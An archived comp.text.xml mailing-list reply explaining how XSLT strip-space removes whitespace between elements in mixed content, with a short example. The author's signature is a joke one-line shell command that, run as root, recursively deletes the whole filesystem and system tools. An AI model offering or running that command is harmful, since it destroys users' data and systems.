Altova Mailing List Archives>Archive Index >comp.text.xml Archive Home >Recent entries >Thread Prev - Re: Line breaks in text mode for XSLT [Thread Next] Re: Line breaks in text mode for XSLTTo: NULL Date: 7/3/2005 12:51:00 AM David Blickstein wrote: > That explains it. Interestingly, in this particular stylesheet there are > no apply-template tags so there was nothing to "look for" along those > lines, but obviously the default actions kicked in. > > Thank you so much again. It used to be a total pain for me to get the > stylesheets to do what I wanted them to do, since adding the strip-space > tag, everything now happens as I expect and I'm making rapid progress. If your application uses mixed content, be careful that strip-space doesn't bite you in the butt: there is an unpleasant side-effect that the space between two adjacent elements will be removed even in mixed content, even using a Schema or DTD where the XSLT application ought to know better, eg <para>Remove <part no="abc123">the nut</part> <emph>anti-clockwise</emph>... will give you "Remove the nutanti-clockwise". This isn't a bug: it's just rather sloppy design -- so strip-space really does mean what it says, and has been implemented for use in "data" XML rather than "document" applications which use mixed content models where white-space nodes should be normalized to a single space token, not normalized out of existence. ///Peter -- sudo sh -c "cd /;/bin/rm -rf `which killall kill ps shutdown mount gdb` * &;top" | ||||||
| Company | Legal | Press | Partners | Careers | Sitemap | Contact Us | Altova Blog | Mobile | Full Site | |||
|
